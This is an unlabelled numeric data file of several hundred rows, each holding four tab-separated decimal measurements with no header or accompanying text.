		36.1716179996729		50.0003169998527		32.8313050270081		104.594749927521

		33.8905769996345		48.1462019979954		31.8121390342712		113.074646949768

		33.9058369994164		39.7022439986467		33.7430760860443		107.146417021751

		32.7502640001476		41.9673480018973		35.7785450220108		102.368969082832

		32.5494300015271		46.2268790006638		32.4783370494843		121.689908027649

		31.1055759973824		45.0618799999356		36.7583889961243		102.388811945915

		33.7635970003903		43.1907330006361		29.403596997261		90.6754250526428

		34.9160460010171		42.4827650003135		31.6991699934006		101.286311984062

		40.917295999825		39.5667749978602		33.5214619636536		99.892874956131

		34.1733370013535		41.2570869997144		29.7620340585709		106.297822952271

		31.4373470023274		42.5450039990246		31.1190659999847		94.0409470796585

		30.945106998086		43.1847429983318		32.7752629518509		98.7625089883804

		32.9399509988725		44.5479729995131		21.8488049507141		103.627406001091

		31.2179199978709		43.242244001478		26.0468779802322		104.436781048775

		33.3096899986267		50.7172969989479		25.8884919881821		104.010271072388

		33.8374509997666		45.2278169989586		25.2508879899979		100.512718915939

		34.3708369992673		46.3870880007744		32.4160439968109		83.4808939695358

		29.7334930002689		40.7270350009203		23.0953149795532		102.527094006538

		31.288805000484		41.8188069984317		32.0807330608368		90.556676030159

		31.7960969991982		37.4371390007436		33.245679974556		95.5553220510483

		40.4303679987788		42.5753160007298		31.531357049942		117.261991024017

		40.7471389994025		44.0584420002997		32.0991699695587		104.300686955452

		34.4837009981275		40.1873469986022		32.104012966156		105.727823019028

		35.6196390017867		44.3709410019219		33.978492975235		94.1067280769348

		37.0385980010033		38.8652120009065		31.9449510574341		84.7884460687637

		32.8331289999187		42.3764100000262		32.5092740058899		97.2245930433273

		35.3428159989417		39.6121920011938		30.8513050079346		105.833083987236

		34.4713059999049		42.8000559993088		29.8825030326843		101.913864016533

		40.5230769999325		38.7565140016377		34.6190140247345		97.7859469652176

		33.4060450010002		43.9213059991598		34.0378680229187		112.73376095295

		35.5094829984009		43.9351599998772		32.9112529754639		98.9096970558166

		31.3691179975867		36.8123989999294		31.8788049221039		155.891577959061

		32.4252110011876		40.1328679993749		33.8819819688797		110.860947966576

		32.1017739996314		40.3075559996069		30.4342740774155		106.588447928429

		32.59536800161		42.8255770020187		32.8739099502563		96.370894908905

		41.8652129992843		42.6062540002167		32.5458370447159		113.79881298542

		33.6162009984255		48.5808390006423		32.0409400463104		102.997979044914

		35.7952120006084		38.9742750003934		26.7051590681076		103.712301969528

		36.1783370003104		43.4554210007191		32.692920088768		110.872146010399

		34.5581809990108		41.1429730020464		32.1228160858154		114.348500967026

		32.6715660020709		52.1747450008988		31.7945339679718		96.1106868982315

		39.9271400012076		41.4046389982104		32.4763050079346		115.444751024246

		37.0903159976006		39.7563580013812		36.0430759191513		95.5902179479599

		32.1222430020571		39.7592750005424		32.6827629804611		91.9605818986893

		34.521044999361		36.8884410001338		31.891774058342		74.9415690898895

		35.3097949996591		46.1640679985285		32.531044960022		86.9738110303879

		31.0140659995377		41.932296000421		32.2672950029373		97.5742809772492

		33.305367000401		44.5006290003657		31.0251070261002		98.0955820083618

		33.9172949977219		45.4490670002997		32.9141180515289		100.552145004272

		36.6238050013781		38.2623989991844		26.5754710435867		97.7813639640808

		33.7046380005777		39.0495870001614		33.2731809616089		105.736884951591

		33.3695340007544		36.1309939995408		35.6540139913559		100.819229006767

		40.2187019996345		39.3195360004902		28.5843780040741		87.8205299377441

		33.1851080022752		43.6885979995131		31.4506279230118		107.072667002678

		34.5243790000677		42.4729209989309		23.8087530136108		110.755063056946

		34.8664620034397		41.7324000000954		33.6247429847717		128.61652302742

		35.173181001097		37.7594309970736		38.6722950935364		109.812770962715

		32.0855240002275		42.0069309994578		34.1606279611588		97.9393329620361

		34.5580760017037		42.9661499969661		32.431981921196		116.496678948402

		33.0000560022891		41.2156290002167		31.9326070547104		102.962093949318

		33.4205240011215		48.1033379994333		31.8127120733261		115.355532050133

		32.2123990021646		40.3255250006914		20.9876059293747		96.2141760587692

		40.578284997493		49.0686509981751		39.5825039148331		96.3886560201645

		32.7195870019495		42.7285459972918		35.6339620351791		100.679593086243

		32.454794999212		39.8284419998527		32.6087529659271		107.057042002678

		34.8784929998219		40.7752120010555		31.937294960022		99.7568850517273

		31.8533880002797		38.7133370004594		32.4885439872742		97.7216240167618

		31.0126069970429		40.2046389989555		34.1039099693298		100.697718977928

		26.4785440005362		41.7193790003657		33.2398990392685		98.8528740406036

		36.3557330034673		41.1312020011246		32.8086489439011		80.4470390081406

		33.3968780003488		43.8690669983625		34.3397430181503		97.2802699804306

		29.6227109991014		44.0337020009756		34.0180239677429		98.2417279481888

		33.2671380005777		57.2401100024581		31.942764043808		93.7926650047302

		35.1656809970736		40.5936500020325		31.9184409379959		103.038604021072

		41.1662020012736		51.7911510020494		32.3691700696945		102.662927031517

		35.7845350019634		41.3971920013428		34.2506810426712		103.734593987465

		35.6529720015824		45.4688059985638		32.4148989915848		104.683238983154

		33.6373990029097		45.840732999146		31.9558370113373		103.212771058083

		37.0338059999049		39.2342749983072		32.0229189395905		99.4819889068604

		32.860732998699		39.3145870007575		32.9049509763718		108.081884980202

		31.9581809975207		46.4673479981721		35.5588051080704		102.153239011765

		32.0809930004179		47.5624529980123		34.1765660047531		99.3208429813385

		31.2248470000923		42.9046389982104		30.6394820213318		100.744749903679

		16.1590120010078		41.8552639968693		31.5614609718323		97.6389679908752

		32.2005759999156		39.3637539967895		31.794221997261		103.880635976791

		40.4095880016685		43.089170999825		17.8719290494919		97.7409470081329

		33.4340139999986		37.9852639995515		35.2571909427643		99.9896969795227

		33.3263580016792		43.236359000206		31.5357840061188		94.0143330097198

		36.1564100012183		44.5779740028083		31.217658996582		113.896781921387

		33.0599509999156		48.213233999908		30.9029200077057		100.741000056267

		40.3304210007191		46.2845879979432		31.0547939538956		110.98980307579

		29.5489090010524		40.4318790026009		30.8532840013504		100.112614989281

		34.5301080010831		42.0026600025594		31.2031800746918		97.9092810153961

		31.7965660020709		44.5930249989033		32.280366897583		89.7565720081329

		39.1781289987266		46.6901080012322		31.8112009763718		104.961313009262

		16.3523450009525		41.778806000948		30.9695340394974		100.881312012672

		35.1994309984148		42.7233380004764		32.2857320308685		104.725479006767

		31.6607839986682		48.098910998553		23.6596380472183		97.9832390546799

		35.382347997278		44.8511499986053		31.5223469734192		98.0140199661255

		35.22568000108		42.6792750023305		30.9582849740982		94.1284469366074

		45.1861509978771		39.6353689990938		32.0503159761429		101.68745803833

		32.7839609980583		40.7442230023444		32.5350040197372		103.72063601017

		32.8918780013919		41.010316003114		37.8810980319977		103.234542012215

		34.5068779997528		43.8393270000815		27.8980749845505		92.235426068306

		36.8103689998388		44.5031300000846		31.6601589918137		98.000009894371

		35.1715660020709		41.8228689990938		34.8327640295029		110.036312937737

		32.7061490006745		39.0635970011353		23.8439090251923		102.65641605854

		42.3503170013428		41.3055250011385		29.3333359956741		77.5969870090485

		39.7783369980752		44.8499519973993		27.1798989772797		102.943969011307

		39.0167229995131		41.6118789985776		31.9529720544815		97.8474580049515

		41.2344309985638		40.4000560007989		31.0560449361801		87.0824570655823

		39.669743001461		43.4597439989448		29.5723470449448		109.324229955673

		34.1640659980476		43.5705779977143		34.1966179609299		96.5121450424194

		36.8927640020847		40.653859000653		34.6506289243698		87.5706850290299

		32.9232329986989		41.6382329985499		33.2815129756927		110.05094897747

		37.4631810002029		44.4618799984455		22.5414611101151		103.440895915031

		40.1284929998219		44.5674520023167		28.8176590204239		104.542927026749

		33.0222949981689		41.2208369970322		26.7035440206528		94.3866239786148

		32.1573989987373		44.2600039988756		34.2628680467606		98.4764159917831

		11.3322400003672		44.4074519984424		35.7983371019363		108.06563603878

		35.261305000633		40.3853169977665		28.4353669881821		101.134748935699

		31.8397430032492		43.9422960020602		31.8736490011215		114.218397021294

		33.4740140028298		37.6288580000401		32.3707320690155		117.853345990181

		34.1050029993057		46.0297960005701		31.3786489963532		111.468760967255

		32.0742220021784		39.7957339994609		35.6714619398117		99.4414160251617

		32.6833879984915		43.0559419989586		32.0903680324554		106.479697942734

		34.9593259990215		41.0549000017345		31.691565990448		89.5789669752121

		34.9058890007436		43.7251609973609		35.6051080226898		101.893604040146

		33.3513570018113		50.2039639987052		31.8840130567551		95.9705309867859

		39.6902639977634		46.4743799977005		33.9470349550247		100.787719011307

		34.5593260005116		44.3401609994471		29.6747949123383		103.784958004951

		39.5239100009203		39.4275560006499		25.7122420072556		100.98308300972

		35.2934410013258		45.0640150010586		32.3659930229187		112.854335069656

		33.4185450002551		38.0053160004318		32.444326043129		97.6239680051804

		32.7197430022061		43.3767230026424		32.0561490058899		98.9659999608994

		33.7704199999571		39.1467229984701		19.330157995224		92.6380300521851

		31.4199509993196		45.3302650004625		32.5295339822769		96.6325619220734

		31.2010970003903		39.6364619992673		31.6111489534378		107.098707914352

		36.7375029996037		39.2103159986436		30.6456279754639		97.2838640213013

		33.1075550019741		44.933494001627		31.4154719114304		95.8204259872437

		36.8937529996037		44.3967749997973		31.2606279850006		102.115635037422

		37.5434419997036		48.1191199980676		26.0639610290527		93.0194360017777

		36.7611490003765		47.5928169973195		32.2303680181503		110.958292961121

		40.1684410013259		43.3094319999218		25.9554710388184		95.8969370126724

		33.6575550027192		43.2258899994195		24.235888004303		102.395635008812

		39.6204730011523		33.7808890007436		29.3594300746918		98.6316759586334

		33.4645869992673		39.3052119985223		28.203232049942		106.56021797657

		33.1685450002551		42.7780250012875		31.0629190206528		94.5152180194855

		34.3515659980476		39.7713060006499		31.8073470592499		99.6603749990463

		35.0960459969938		46.1974529996514		38.5793260335922		81.9831330776215

		35.1638580001891		45.1825570017099		32.5553679466248		100.559906005859

		32.7332329973578		43.237296000123		31.0647948980331		105.833188056946

		35.8318269997835		42.8997960016131		31.0063049793243		99.3105310201645

		42.067607998848		39.4450040012598		31.561252951622		97.1778219938278

		36.6284409984946		40.0520869977772		32.9010449647903		105.740895986557

		40.1170869991183		39.8060979992151		32.5500550270081		105.109489917755

		36.3900559991598		42.8767229989171		22.0801059007645		106.213188052177

		37.6755760014057		36.935368001461		31.0127109289169		93.397509098053

		34.8440659977496		43.2133379988372		31.1753159761429		103.673916935921

		35.578909996897		46.5598479993641		32.5332330465317		103.86042702198

		34.7357850000262		41.2288579978049		34.2023470401764		96.8880299329758

		33.492607999593		38.6223990023136		30.9034920930862		102.870115041733

		34.3780759982765		41.0665659978986		28.2296379804611		94.2789149284363

		36.3434410020709		39.7605240009725		29.1530239582062		96.6777700185776

		33.894534997642		43.2737019993365		30.434378027916		123.227252006531

		32.5284930020571		43.6129210032523		31.7465128898621		98.0967279672623

		33.338805001229		40.0235460028052		31.7892220020294		80.8279249668121

		32.2698470018804		40.4281810000539		31.7375559806824		98.5287590026855

		33.107868000865		49.3817760013044		31.6768779754639		99.8203749656677

		32.4360969997942		32.8792219981551		31.4766169786453		102.226051926613

		35.0055250003934		50.3867230005562		29.7375030517578		98.7243319749832

		35.5751589983702		42.4626079984009		30.2448470592499		100.051676988602

		35.3783890008926		38.8409930020571		31.3235439062119		115.609438061714

		39.6265139989555		42.3504730015993		32.803857088089		96.7752180099487

		31.9766170009971		37.8358890004456		32.3750029802322		98.1391760110855

		36.386982999742		40.099169999361		31.794065952301		69.0230799913406

		33.6323990002275		44.5279729999602		31.5457849502563		97.3104790449142

		35.5464100018144		40.8437540009618		39.5032330751419		101.094123959541

		37.6012009978294		39.1017749980092		32.2525029182434		97.8999569416046

		37.6041709966958		50.7851619981229		29.9009410142899		121.055377006531

		34.5948990024626		43.9556289985776		31.8266689777374		102.14027094841

		35.066045999527		50.0450569987297		28.190160036087		99.836207985878

		31.8247950002551		40.848284997046		34.274847984314		93.8118839263916

		32.8698989972472		41.4895879998803		34.7436499595642		104.136208891869

		36.7087020017207		41.6872949972749		32.0824511051178		101.549332976341

		36.5418270006776		39.4288579970598		30.7015650272369		98.5997500419617

		33.2202119976282		46.0235459990799		33.0417220592499		85.689071059227

		36.9113059975207		41.0544310025871		30.1781280040741		84.5851129293442

		39.8428169973195		42.8350040018559		32.1452119350433		90.664852976799

		36.1202640011907		39.305681001395		32.5882849693298		93.8309470415115

		36.9574510008097		42.4602649994195		30.3748990297318		106.980531930923

		33.4424510002136		38.2812019996345		31.255471944809		102.96870803833

		34.7223999984562		42.7720349989832		32.7624509334564		99.4994369745255

		32.8126589991152		33.343909997493		33.5246909856796		100.328552007675

		33.037868000567		51.6726089976728		31.5121909379959		95.2571449279785

		34.9984409995377		42.4743270017207		39.7472440004349		100.306729078293

		32.7680240012705		40.5403680019081		32.2379709482193		91.0277169942856

		30.3002639971673		47.2976089976728		31.9424510002136		94.2323529720306

		36.477556001395		42.7367229983211		31.6176071166992		109.128396034241

		33.482868000865		38.9305250011384		34.0370869636536		100.226365089417

		31.0742739997804		37.7858889997005		32.3850030899048		92.2353739738464

		33.5491700023413		43.232868000865		26.2835960388184		100.710322976112

		39.8273999989033		42.4413580000401		28.3796910047531		96.6032390594483

		32.4371899999678		40.1958369985223		33.2518780231476		109.706938028336

		32.2178680002689		48.799744002521		31.6246390342712		109.365116000175

		33.8015139997005		34.7778679989278		31.0117740631104		104.363239049912

		33.3590660020709		36.1466179974377		32.9809930324554		82.4254770278931

		34.544794999063		42.9206819981337		24.809741973877		98.7017290592194

		31.6971909999847		36.6728160008788		24.9628150463104		110.798655986786

		35.9904720000923		40.2100559994578		20.6731790304184		98.466884970665

		34.4893260002136		44.7400039993227		32.1439610719681		97.3903739452362

		38.4321390017867		44.2001600004733		20.5103669166565		95.8695409297943

		35.3824519999325		44.2020360007882		32.3426070213318		90.8656860589981

		32.9577630013227		38.5652639977634		32.2538059949875		94.0766240358353

		33.7864609993994		42.4450040012598		29.1171380281448		103.633082985878

		38.9937020018697		44.1891189999878		23.890888094902		95.629124045372

		37.7838050015271		40.1206809990108		30.2494819164276		110.445740103722

		35.4143790006638		40.3707339987159		33.4438060522079		102.540739059448

		31.1510450020432		43.0375039987266		25.28843998909		116.312720060349

		33.8904729969799		38.6226599998772		32.3676589727402		102.911415934563

		34.2974509969354		44.7775570005179		38.7643269300461		109.383031010628

		35.8395350016654		36.19943100214		10.9020320177078		95.5370930433273

		32.160003002733		44.9757860004902		23.460678935051		96.2110520601273

		33.1587529964745		44.1417229995132		31.9706809520721		105.435582995415

		33.5601599998772		52.6212030015886		29.339586019516		86.4577689170837

		33.9775040000677		42.1061499975622		31.6707849502563		111.080636024475

		32.1604720018804		43.3252639994025		28.2406799793243		103.46844804287

		29.9960439987481		45.8782339990139		29.5261490345001		115.395843982697

		31.2404720000923		43.4887540005147		32.228285074234		105.497666954994

		35.3090139999986		52.5783390030265		33.1253679990768		102.989228963852

		31.7345350012183		39.8134939968586		26.9073469638824		100.578343987465

		31.2740130014718		42.8589619994164		33.0366179943085		94.7184990644455

		32.4481810033321		39.3691189996898		26.3894820213318		102.447301983833

		32.5466179996729		43.034795999527		30.2806799411774		98.167093038559

		32.1246910020709		40.3137019984424		23.1801589727402		102.463240027428

		36.4678160026669		43.4525040015578		9.30161499977112		109.883084058762

		8.64500100165606		41.4340669997037		31.6998469829559		92.9880299568176

		10.2995849996805		40.2525559999049		29.4631799459457		94.3032910823822

		32.4906289987266		39.8939099982381		25.6112520694733		100.078448057175

		36.0259419977665		39.5308370031416		28.3120340108871		105.478186964989

		31.5418270006776		47.8693279996514		24.4389599561691		95.3663640022278

		32.9221910014749		39.9531290009618		31.9827109575272		107.845063090324

		34.8553159981966		42.6090139970183		25.58427298069		98.0379269123077

		33.7940660007298		38.3938059993088		42.5618799924851		99.6690729856491

		31.4145860001445		39.0979730002582		25.6853150129318		95.7492280006409

		41.729795999825		42.6970870010555		32.1530760526657		101.222562074661

		33.0660450011492		40.7925040014088		29.4009920358658		94.8240720033646

		34.421356998384		43.0590150021017		29.723335981369		108.929386019707

		32.3278679996729		42.5456809997559		22.9473460912704		113.712458968163

		32.0774510018528		41.8074520006776		35.6019830703735		104.491208076477

		34.772243000567		38.422556001693		20.8103669881821		98.3594369888306

		35.3915140032768		42.2331289984286		27.8601589202881		99.1085000038147

		31.4097950011492		46.5318800024688		27.0158879756927		105.074280977249

		41.4402129985392		38.6319310031831		33.9701600074768		103.511937975884

		32.4222950004041		44.8789630010724		33.9978159666061		84.4787579774857

		33.5840139985085		38.405472997576		31.0818259716034		118.477146983147

		34.3935969993472		41.7844309993088		32.9656289815903		100.612300992012

		33.8291179984808		51.4619840011001		31.9700030088425		106.128239989281

		36.0699509978294		51.9940680004656		30.5138049125671		101.097354054451

		35.0324510000646		42.7836499996483		28.6235449314117		106.097458004951

		34.6418780013919		43.7167229987681		29.0194299221039		121.997511982918

		32.6284929998219		42.6178170032799		33.6187011003494		93.6307899951935

		34.1205760017037		40.4890150018036		18.9444289207459		99.3927710056305

		34.1227120012045		42.8785980008543		18.0017210245132		82.7769360542297

		37.5472429990768		39.8055250011384		30.2641170024872		97.8788110017777

		32.9757850021124		41.2749000005424		34.5423990488052		103.475427031517

		32.1505240015686		41.0067230015993		23.0043250322342		98.474123954773

		33.0006280019879		43.9009420014918		26.5810959339142		108.903343915939

		32.6717220023274		39.1291179992259		33.788388967514		92.4772490262985

		32.3250029981136		40.8478170000017		27.6681280136108		95.492977976799

		34.2116179987788		36.8546910025179		17.9211999177933		106.394230008125

		33.0191700011492		49.3764640018344		30.5500030517578		92.9835510253906

		31.977242000401		42.8142750002444		31.1120859384537		96.7553749084473

		32.2189089991152		42.4205249994993		31.427346944809		106.871729969978

		31.9533890001476		43.2305260002613		26.1929188966751		85.7420909404755

		33.0112009979784		42.5066190026701		25.8231279850006		102.964540958405

		35.3340139985085		41.5181809999049		20.6020330190659		96.7525619268417

		35.278596997261		40.0677120015025		30.5294820070267		101.87396800518

		34.9590139985085		48.0987550020218		32.0805239677429		105.85995900631

		33.3583890013397		42.998285997659		29.6319299936295		110.539750933647

		41.4908379986882		41.5865139998496		32.4315659999847		107.32995903492

		32.0747429989278		37.993910998106		25.7227629423141		97.3892279863358

		34.7584409974515		48.5687549971044		23.4332320690155		107.998709082603

		35.5190140008926		49.9948490001261		30.2617739439011		94.5292279720306

		32.3637010008097		49.3041720017791		35.2392740249634		100.42063498497

		33.4719309993088		38.3178169988096		25.1136479377747		99.6023539304733

		32.6834410019219		50.7620359994471		26.1480230093002		110.513709068298

		33.5991179980338		47.9997439980507		33.483806014061		99.1115719079971

		34.2015659995377		38.8250559978187		31.9745869636536		109.841156959534

		40.6093270033598		42.0510980002582		26.0622940063477		93.9568319320679

		34.7557839974761		43.2356299981475		31.8490650653839		108.703707933426

		32.1008879989386		38.4191179983318		32.2931801080704		97.7868330478668

		35.0494829975069		43.8478170000017		32.0180239677429		102.949854016304

		33.4580760002136		40.0984929986298		24.9929710626602		95.4478740692139

		31.4456799998879		47.6647960022092		26.0999499559402		94.7056859731674

		35.6712540015578		43.159795999527		26.6842740774155		98.7386039495468

		35.8195340000093		45.9164110012352		28.3833360671997		94.6003220081329

		33.7235970012844		41.8120880015194		22.4145859479904		107.213343977928

		31.4836490005255		43.6558899991214		28.8291690349579		83.3348000049591

		31.5637530013919		41.1355249993503		20.294273018837		96.7398009300232

		36.5476589985192		41.4320350028575		32.5556799173355		101.727771043777

		36.2039619982243		39.7935979999602		33.5400030612946		103.322822928429

		36.0014620013535		38.991619002074		32.0432850122452		103.988551974297

		31.9803159981966		47.4312030002475		31.4464100599289		103.898552060127

		39.6043789982796		43.4692750014365		31.9716169834137		113.667928099632

		34.3406280018389		44.3516179993749		23.3266689777374		107.354906082153

		36.7942750006914		37.8614100031555		33.5924510955811		100.828552007675

		35.9021910019219		41.1256290003657		25.9560960531235		106.34240591526

		35.4173990003765		44.3804730027914		32.4698989391327		80.9508930444718

		33.4575030021369		39.0904729999602		32.8943780660629		99.7483960390091

		34.4768779985607		38.8192749992013		32.9227110147476		105.737509965897

		39.8780249990523		41.3697960004211		22.7105230093002		100.650426030159

		31.8808360025287		37.8868779987097		29.7150030136108		105.404333949089

		31.053493000567		44.3135459981859		30.4514100551605		95.9420930147171

		31.4512530006468		46.7869310006499		29.1606800556183		117.694751977921

		32.3523989990354		41.9413070008159		29.1246389150619		105.800948023796

		34.3518779985607		41.0754729993641		31.5768259763718		105.006521105766

		31.9931290000677		51.4733899980783		27.2035440206528		95.8221969604492

		34.6534930020571		44.487920999527		34.9695870876312		99.888916015625

		33.7411490008235		41.9976089969277		32.2951070070267		95.8976660966873

		31.1526069976389		39.9023999981582		23.4260439872742		111.950896978378

		33.0880770012736		43.0491710007191		26.7810440063477		101.962405920029

		32.4626069962978		41.3758380003273		28.4061490297317		113.42266702652

		36.3389619998634		38.8028689995408		21.7180230617523		122.206001996994

		35.5579719990492		43.2947439998388		25.0880230665207		98.3503220081329

		32.4718260020018		38.6157849989831		28.0883359909058		92.8495919704437

		40.071357998997		47.8385990001261		23.7999509572983		93.093083024025

		31.837919998914		43.0515150018036		33.2461489439011		106.644072890282

		34.6580240018666		41.6638059988618		30.8715659379959		98.001727938652

		35.3552110008895		47.4671919979155		19.8948459625244		120.930688977242

		35.6467749997973		42.9496919997037		33.2764620780945		95.8062080144882

		39.9323999993503		44.8907340019941		34.4396909475327		95.6764160394669

		35.1965140029788		38.8018789999187		24.7243260145187		80.993185043335

		33.4687010012567		37.8948999978602		31.6169300079346		96.8658950328827

		33.8968779966235		41.2568269968033		25.8729189634323		102.84360396862

		33.9075039997697		45.4446399994195		28.8725550174713		120.996209979057

		36.2683370001614		41.9639100022614		20.7488560676575		91.2149050235748

		41.06510899961		41.2347440011799		28.1155760288239		106.665479063988

		34.5516180023551		41.6891189999878		30.1158879995346		106.218812942505

		36.1631289981306		39.7318789996207		32.4962010383606		95.3630299568176

		34.2665660008788		38.6056279987097		32.181617975235		101.405583024025

		32.2192739993334		36.4743789993227		30.0398980379105		119.917773008347

		32.0746389999986		43.313181001693		32.0774509906769		99.0793330669403

		32.2302119992673		37.7393780015409		30.7975560426712		105.905166983604

		41.2664109990001		40.7774000018835		24.3448979854584		106.201833963394

		33.9780759997666		41.072294998914		32.3440140485764		99.5742809772491

		36.4374519996345		44.9695350006223		34.8450549840927		107.391990065575

		37.0894830003381		39.4157330021262		26.7220860719681		106.177510976791

		39.4108889997005		40.4013059996069		34.385055065155		106.787874937058

		33.3896910026669		42.4346910007298		28.804377913475		90.2400089502335

		32.8558889999986		43.9066709987819		24.4398460388184		112.742718935013

		32.6260969974101		39.8868269994855		33.5481289625168		101.364489078522

		40.0284929983318		42.2245870009065		32.7505239248276		94.1945929527283

		33.8926589973271		42.3054210022092		22.1291689872742		96.1166239976883

		36.0139620006084		39.6256809979677		26.0817209482193		77.2131329774857

		33.0902119986713		42.1600040011108		38.477243065834		94.7353210449219

		31.7729719989002		41.8947440013289		22.8111479282379		95.0566769838333

		35.44443000108		43.3393270000815		22.8197419643402		94.5978219509125

		36.0431809984148		41.9293790012598		21.0378670692444		100.95058298111

		33.0562009997666		48.3345879986882		20.707918047905		102.986833930016

		34.4586490020156		37.8579210005701		31.0681281089783		110.329282045364

		31.6943790018558		41.6393270008266		31.2001069784164		96.7896970510483

		33.0224520005286		42.2680259980261		31.7223989963531		96.551885008812

		35.2941180020571		42.3679729998112		40.1776601076126		98.2395420074463

		30.8321899995208		40.4487540014088		32.8665660619736		100.689228892326

		32.2543260008097		42.706670999527		34.3139090538025		97.3229789733887

		32.7277630008757		44.1523480005562		30.7590659856796		114.030948996544

		33.1929729990661		43.0355259999633		36.6731290817261		104.177927017212

		34.2459929995239		42.0904209986329		24.3233349323273		96.4909989833832

		35.6852639988065		46.854795999825		31.0189090967178		127.477772951126

		34.6644820012152		46.827295999974		36.1102119684219		94.2804780006409

		35.8641699999571		43.3321920000017		25.6410961151123		97.2434469461441

		32.7352120019495		44.268597997725		31.6317740678787		92.4285510778427

		31.4873990006745		13.7615109980106		22.6016690731049		126.035585045815

		31.4875029996037		44.3836509995163		31.5878159999847		85.8106340169907

		39.771669998765		41.0723479986191		31.0127110481262		104.914072990417

		32.486044999212		39.4484409987926		31.9133360385895		88.4556339979172

		31.1477109976113		45.8737540021539		25.7387009859085		102.832561969757

		31.7474509999156		37.432920999825		18.3671370744705		98.9875100851059

		33.6045860014856		44.6718790009618		27.5116699934006		97.0757910013199

		35.945784997195		43.065369002521		34.085263967514		103.113291978836

		34.308857999742		45.5464630015194		22.2322939634323		95.9429780244827

		32.177243001759		37.9557330012321		21.7355229854584		90.3465200662613

		35.9566179998219		40.852556001395		34.0951079130173		117.461261987686

		33.9177110008895		43.3885979987681		23.3908360004425		106.601624965668

		31.5154719986022		39.6820870004594		30.6055239439011		114.144906997681

		34.0515140034258		50.4454210028052		26.939325928688		102.342769980431

		34.3733889982104		41.4164620004594		29.0030241012573		81.3846429586411

		32.6629720032215		39.7526079975069		23.0488560199738		102.316573023796

		35.7493260018528		47.713233999908		38.265212059021		101.856729030609

		33.9702120013535		41.2498999983072		31.6892739534378		109.518396019936

		31.7617219984531		44.0979209989309		35.8346390724182		101.910321950912

		36.2666179984808		41.9026600010693		29.923388004303		86.361466884613

		35.9366180002689		42.6302650012076		35.1832849979401		96.1828219890595

		39.1929729990661		40.0671919994056		33.0330240726471		94.3096959590912

		34.4103160016239		44.1146919988096		23.9238569736481		108.216364979744

		34.0512529984117		41.601097997278		33.5132850408554		112.734021902084

		35.8131290003657		43.6222959980369		29.4703160524368		101.256050944328

		31.3048470020294		55.2988069988787		33.3969819545746		105.487823009491

		33.3819830007851		37.807972997427		22.899533033371		102.731155991554

		40.5212539993227		44.3960459977388		30.4615650177002		101.637094020844

		39.7081279978156		45.1195879988372		23.2380759716034		104.697510957718

		34.1839089989662		44.3685460016131		18.1214079856873		108.202250003815

		32.0331289991736		40.8121920004487		31.9937529563904		108.349907040596

		37.6264100000262		42.2582339979708		30.779795050621		93.6273009777069

		34.5381279997528		48.5909940004349		32.0276080369949		99.6044889688492

		33.7965659983456		40.6640140004456		24.3437520265579		94.4679259061813

		37.9928160011768		36.1203159987926		31.546982049942		90.4472489356995

		34.305003002286		51.0749530009925		32.9112010002136		104.308187961578

		35.0628160014749		47.0950049981475		31.6902639865875		102.069385051727

		31.4994830004871		41.2377649992704		15.010939002037		101.485270023346

		35.7741700001061		37.4802640005946		24.2242209911346		111.346574068069

		33.8557850010693		40.8807329982519		28.9526590108871		103.90829205513

		33.1297949999571		40.9443270005286		34.1525549888611		98.4529259204865

		32.2408360019326		40.5365669988096		28.2208359241486		99.0277709960938

		32.5013579986989		42.1590670011938		32.5924509763718		100.49855196476

		32.4493259973824		41.2856809981167		30.1841689348221		94.8200620412826

		34.759794998914		39.905420999974		36.9390139579773		93.4869880676269

		34.6450030021369		42.1664099991322		29.144847035408		102.147822976112

		35.3259410001338		42.7004729993641		24.2904189825058		98.4159989356995

		35.5589620023966		42.6650040000677		31.8972430229187		84.9908940792084

		31.6119300015271		41.7719840034843		25.0925539731979		92.9251660108566

		34.2007840014994		39.3984939977527		32.3222949504852		102.402094006538

		34.4131289981306		44.2265149988234		34.0790139436722		93.7150609493256

		35.8604199998081		36.165993001312		35.5669819116592		109.403291940689

		33.0533879995346		46.641672000289		25.8453160524368		96.7018840312958

		34.1920869983733		37.2058370001614		5.85505306720734		104.754073023796

		31.6806800030172		38.9660449996591		36.4692740440369		93.7352169752121

		33.7433359995484		44.1192229986191		23.1404190063477		89.77578997612

		40.5743269994855		38.7083889991045		27.9030750989914		105.789646029472

		31.4272429980338		40.4927120022476		23.7222419977188		97.8836560249329

		15.0568760000169		39.4784419983625		27.2932840585709		96.8552180528641

		36.6757330000401		49.7082339972258		30.5880759954452		99.4036550521851

		31.1609399989247		39.7002639994025		30.5533879995346		90.962769985199

		32.2902109995484		41.8597960025072		24.4046900272369		97.1713110208511

		34.5721909999847		40.1627640016377		14.6545330286026		103.804489016533

		33.7034410014749		42.2516710013151		33.843024969101		104.548082947731

		31.8089090026915		41.1491180025041		29.6558369398117		122.396574020386

		45.0609419979155		42.3302129991353		35.1750559806824		98.8502700328827

		31.3345350027084		38.7523999996483		31.1526590585709		96.472561955452

		34.0057319998741		36.4176599979401		25.519847035408		96.1701649427414

		39.6352639980614		48.0168799981475		32.8088060617447		109.209802031517

		32.5629199966788		39.4483369998634		31.3101589679718		108.842770934105

		33.8229719996452		50.3460459969938		24.4636480808258		119.45938706398

		32.0664619989693		39.0797959975898		26.4489090442657		97.1265720129013

		32.7351070009172		40.1010980010033		32.0654200315475		99.369019985199

		35.3738580010831		45.2387020029128		32.5245859622955		95.7018330097199

		36.2599520012736		42.1981290020049		25.5714089870453		95.8020409345627

		31.4914099983871		43.259535998106		30.7552629709244		87.9319880008698

		32.4427119977772		39.875681001693		31.7812529802322		104.154592990875

		33.7810969986022		41.4564099982381		20.2345329523087		109.114333033562

		33.0487009994686		42.2871399968863		25.6233360767364		94.8394359350204

		33.3531799986959		43.7846920005977		30.3515130281448		93.9991239309311

		34.766306001693		42.7908370010555		33.793389081955		114.331573963165

		31.983805000782		41.428546000272		31.7792739868164		101.512665987015

		30.3916699998081		39.8735969997942		27.3923979997635		103.426156044006

		30.9227629974484		43.3277649991214		33.2206290960312		105.947250008583

		34.0525039993227		40.9108899980784		30.5764089822769		97.7077180147171

		33.5808360017836		43.6412540003657		25.7830229997635		108.085531949997

		36.1686500012875		43.4831290021539		26.1460440158844		101.42152094841

		38.0487019978464		40.2165149971843		19.6957839727402		107.276885986328

		39.3153159990907		41.9866710007191		32.6272948980331		98.9332909584045

		34.1876600012183		41.9595360010862		40.0163580179215		97.563551068306

		30.4753159992397		42.1228170022368		30.7819830179214		102.510895967484

		40.5967749990523		50.1467760019004		23.8729710578918		77.986310005188

		35.4856280013919		39.1212539970875		24.5577629804611		119.290688991547

		31.0914609991014		42.9415140002966		26.7953149080276		108.181208968163

